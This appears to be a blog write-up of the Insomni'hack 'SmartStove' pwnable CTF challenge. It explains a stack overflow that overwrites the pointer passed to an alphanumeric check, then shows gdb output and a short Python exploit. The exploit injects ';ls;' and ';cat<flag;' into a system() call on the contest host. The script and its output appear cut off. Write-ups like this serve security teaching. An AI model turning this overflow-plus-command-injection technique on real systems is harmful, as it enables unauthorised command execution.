Here is another writeup for a pwnable challenge I solved during the Insomni'hack CTF. We are given a x86_64 ELF, so as usual we'll check the binary protections first with checksec:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE

OK, it's a ELF64 with only NX enabled. I hope that in 2016 binaries are not compiled without NX. The binary is not really big and doesn't do much. We are going to look at 2 functions.

int __fastcall main(int a1, char **argv, char **a3)
  int result; // eax@3
  char dest[8]; // [sp+10h] [bp-110h]@1
  char v5; // [sp+18h] [bp-108h]@1
  __int64 v6; // [sp+118h] [bp-8h]@1

  v6 = v28;
  *dest = 0x206F686365LL;
  memset(&v5, 0, 248uLL);
  if ( a1 == 2 )
    strncat(dest, argv[1], 598uLL);
    if ( check_isalnum_isspace(argv[1]) )
      puts("SMARTStove sais: Are you kidding??");
      result = 1;
      printf("SMARTStove sais: I don't like cooking ", argv);
      result = system(dest);
    puts("Usage: ./task <what would you like to cook>");
    result = 0;
  return result;

As we can see from the above, the main function takes the user input and does a strcat(dest, input, 598) it to a buffer of 8 bytes. So we clearly have a buffer overflow here. Later in the code the dest buffer is passed to system() function. The problem is that it adds "echo" in the beginning of the buffer, so we can't juste input /bin/sh.

The binary also checks if the user input is alphanumeric and has no spaces. Which means that that we can't give something like this ;/bin/sh; because it will not passe this function:

signed __int64 __fastcall check_isalnum_isspace(const char *argv_1)
  int i; // [sp+14h] [bp-1Ch]@1

  for ( i = 0; i < strlen(argv_1); ++i )
    if ( !isalnum(argv_1[i]) && !isspace(argv_1[i]) )
      return 1LL;
  return 0LL;

Here is where the buffer overflow commes in. If you look closely the check_isalnum_isspace is called with argv[1]. The system function is called with dest as argument. This means that we can bypass the check_isalnum_isspace overflowing the pointer on the stack for the argv[1] and giving this function another string from the binary. This way the function will not check our input and we can chain the echo command with other bash commands.

Here is the gdb information:

gdb-peda$ r $(python -c 'from struct import pack;print "A"*507+pack("<Q", 0xdeadbeefdeadbeef)')
RAX: 0xdeadbeefdeadbeef
RBX: 0x0
RCX: 0xdeadbeefdeadbeef
RDX: 0x8
RSI: 0x7fffffffe5b0 --> 0xdeadbeefdeadbeef
RDI: 0xdeadbeefdeadbeef
RBP: 0x7fffffffdef0 --> 0x7fffffffe020 ('A' <repeats 200 times>...)
RSP: 0x7fffffffdec0 --> 0x256
RIP: 0x40091c (call   0x400610)
R8 : 0x4b ('K')
R9 : 0x7fffffffdf10 ("echo ", 'A' <repeats 195 times>...)
R10: 0x1b
R11: 0x7ffff7b90814 --> 0xfff3b2ecfff3b2dc
R12: 0x4006b0 (xor    ebp,ebp)
R13: 0x7fffffffe100 ('A' <repeats 16 times>, "ᆳ\336", <incomplete sequence \336>)
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
   0x400912:    movsxd rbx,eax
   0x400915:    mov    rax,QWORD PTR [rbp-0x28]
   0x400919:    mov    rdi,rax
=> 0x40091c:    call   0x400610
   0x400921:    cmp    rbx,rax
   0x400924:    jb     0x4008c8
   0x400926:    mov    eax,0x0
   0x40092b:    mov    rcx,QWORD PTR [rbp-0x18]
Guessed arguments:
arg[0]: 0xdeadbeefdeadbeef
0000| 0x7fffffffdec0 --> 0x256
0008| 0x7fffffffdec8 --> 0xdeadbeefdeadbeef
0016| 0x7fffffffded0 --> 0xffffdf10
0024| 0x7fffffffded8 --> 0xb907728eec4a7500
0032| 0x7fffffffdee0 --> 0x7ffff7deade0 (<_dl_fini>:    push   rbp)
0040| 0x7fffffffdee8 --> 0x0
0048| 0x7fffffffdef0 --> 0x7fffffffe020 ('A' <repeats 200 times>...)
0056| 0x7fffffffdef8 --> 0x400839 (test   eax,eax)
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040091c in ?? ()

So we have control over the pointer. If we give it another address with a string that matches isalnum + isspace we passed the check.

The final exploit is really small:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import struct

HOST = "smartstove.insomni.hack"
PORT = 1234

s = socket.create_connection((HOST, PORT))
f = s.makefile('rw', bufsize=0)

cmd = ";ls;"
payload = cmd+"A"*(507-len(cmd))
payload += struct.pack("<Q", 0x400B87)

cmd = ";cat<flag;"
payload = cmd+"A"*(507-len(cmd))
payload += struct.pack("<Q", 0x400B87)


And the output with the flag:



comments powered by Disqus